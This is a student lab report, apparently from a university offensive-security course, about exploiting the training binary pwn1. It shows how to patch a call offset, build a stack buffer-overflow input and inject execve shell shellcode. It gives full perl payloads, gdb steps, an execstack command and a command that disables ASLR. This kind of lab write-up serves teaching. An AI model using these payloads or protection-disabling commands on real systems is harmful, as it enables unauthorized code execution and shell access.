20181202《网络对抗》Exp1 PC平台逆向破解(5)M

目标一:熟悉机器码

掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

先使用file指令查看pwn1文件类型,类型为32位ELF可执行文件

┌──(liyiming㉿liyiming)-[~/桌面/20181202exp1]
└─$ file pwn1                              
pwn1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=fb55ff390641d9430666f4c373725241894ef5a5, not stripped

对pwn1进行反汇编,查看机器码

┌──(liyiming㉿liyiming)-[~/桌面/20181202exp1]
└─$ objdump -d pwn1 | more
...
 8048307:       74 05                   je     804830e <_init+0x1e>
...
 8048326:       ff 25 08 a0 04 08       jmp    *0x804a008
...
 80483ca:       83 f8 06                cmp    $0x6,%eax
...
 8048406:       75 01                   jne    8048409 <register_tm_clones+0x19>
...
 8048534:       90                      nop

目标二:反汇编与十六进制编程器

掌握反汇编与十六进制编程器

使用objdump指令进行反汇编

使用十六进制查看器进行反汇编

  1. 安装十六进制查看器

    ┌──(liyiming㉿liyiming)-[~/桌面/20181202exp1]
    └─$ sudo apt-get install wxhexeditor
    ┌──(liyiming㉿liyiming)-[~/桌面/20181202exp1]
    └─$ wxHexEditor
    

    测试打开成功

  2. 在wxHexEditor中打开pwn1

目的三:修改机器指令改变程序执行流程

能正确修改机器指令改变程序执行流程

1.反汇编查看命令

pwn1进行反汇编

可以观察到:

  • getshell函数的地址是804847d
  • foo函数的地址8048491

在main函数中的call指令后将跳转至函数foo的地址8048491,此时EIP指向的下条指令地址应为80484ba。所以想要让main函数调用getshell函数,只需要call之后的值进行修改。

查看call的机器码e8 d7 ff ff ff,其中e8为跳转之意,则修改d7即可使程序执行getshell,计算foo与getshell在内存地址的差值为14,则用d7减14得c3。

2.修改汇编代码

vim pwn1

按esc进入命令模式,输入:%!xxd,将显示模式切换为16进制模式

查找要修改的内容:/d7

i进入插入模式,将d7改为c3

:%!xxd -r转换十六进制为原格式, :wq保存,退出,验证修改结果

修改成功

目的四:构造payload进行bof攻击

能正确构造payload进行bof攻击

1.通过构造输入参数,造成BOF攻击,改变程序执行流

对pwn1程序进行反汇编,查看其程序执行流程

objdump -d pwn1 
  • 目标是触发getsell函数

  • 该可执行文件正常运行是调用如下函数foo,这个函数有Buffer overflow漏洞

  • 这里读入字符串,但系统只预留了字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址

  • 确认输入字符串哪几个字符会覆盖到返回地址

  • 选择 “ 1111111122222222333333334444444455555555 ” 来测试,容易标识使用

  • gdb pwn1进入调试页面

  • 使用命令info r查看各个寄存器的值

  • 此时注意到eip的值为ASCII的5,即在输入字符串的“5”的部分发生溢出。所以尝试将5的部分改为其他数字进行比对

  • 将“55555555”改成“12345678”,输入info r查看寄存器注意寄存器eip的值,如图“0x34333231 0x34333231”,换算成ASCⅡ码刚好是1234。1234 那四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。

  • 只要把这四个字符替换为 getShell 的内存地址,输给pwn1,pwn1就会运行getShell。

  • 接下来要确认下字节序,简单说是输入,还是输入11111111222222223333333344444444\x08\x04\x84\x7d,还是11111111222222223333333344444444\x7d\x84\x04\x08

  • 对比之前eip 0x34333231 0x34333231,正确应用输入1111111222222223333333344444444\x7d\x84\x04\x08

  • 由于我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以先生成包括这样字符串的一个文件。\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。

  • 使用16进制查看指令xxd查看input文件的内容是否如预期。

  • 将input的输入,通过管道符“|”,作为pwn1的输入。

    ![ages/image-20210310214614098.png)

cat:用于连接文件并打印到标准输出设备上,在此处是将input中的内容作为输入存放在cat中,并与此为输入执行pwn1中的foo函数。注意,必须使用()确保调用pwn1前的逻辑关系。

  • 测试成功

2.注入shellcode并执行

  • 准备一段shellcode,这里参考实验指导中给出的shellcode(gitee中的链接已经没有了)

    \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
    
  • 使用execstack -s pwn1设置堆栈可执行,此处建议先进行虚拟机快照,以免出现严重问题

2021版kali需安装execstack,参考班课文件

  • 使用命令execstack -q pwn1查询文件堆栈是否可执行

  • 使用命令

    more /proc/sys/kernel/randomize_va_space
    echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
    more /proc/sys/kernel/randomize_va_space 
    

  • 构造要注入的payload

  • Linux下有两种基本构造攻击buf的方法:retaddr+nop+shellcode nop+shellcode+retaddr

  • 因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面

  • 简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边

  • 我们这个buf够放这个shellcode

  • 结构为:anything+retaddr+nops+shellcode

  • nop一为是了填充,二是作为“着陆区/滑行区”。我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。

  • 使用命令

    perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
    

  • 上面最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。

    特别提醒:最后一个字符千万不能是\x0a(不自动回车)。不然下面的操作就做不了了。

  • 接下来我们来确定\x4\x3\x2\x1到底该填什么。
    打开一个终端注入这段攻击buf:

  • 再打开另外一个终端,用gdb来调试pwn1这个进程,使用命令ps -ef | grep pwn1

  • 找到pwn1的进程号是: 193512

  • 启动gdb调试这个进程

  • 通过设置断点,来查看注入buf的内存地址 disassemble foo

  • 断在ret,这时注入的东西都在堆栈上了,ret完,就跳到我们覆盖的retaddr那个地方了

  • 在另外一个终端中按下回车,这就是前面为什么不能以\x0a来结束 input_shellcode的原因。

  • 使用break *0x080484ae设置断点,并输入c继续运行。在pwn1进程正在运行的终端敲回车,使其继续执行。再返回调试终端,使用info r esp查找地址

  • 使用x/16x 0xffffd57c查看其存放内容,看到了01020304,就是返回地址的位置。根据我们构造的input_shellcode可知,shellcode就在其后,所以地址是 0xffffd580。

    这里显示的一个地址可以存储32字节数据,但此处eip地址已经占用了4字节,所以从第28位置开始的地方是shellcode的地址。即0xd57c+0x04=0xd580

  • 将返回地址改为0xffffd580

  • 再执行程序,果不其然运行失败

重新开始

  • 结构为:anything+retaddr+nops+shellcode

  • 重新构建 shellcode

    perl -e 'print "A" x 32;print "\x??\x??\x??\x??\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x80\xd5\xff\xff\x00"' > input_shellcode
    
  • 与之前的步骤相同,在gdb中调试寻找?处应填的地址

  • 0xffffd580处找到了0x90909090,再将??处的地址进行修改

  • 执行程序

  • 成功

posted @ 2021-03-17 10:26  1202李祎铭  阅读(60)  评论(0编辑  收藏  举报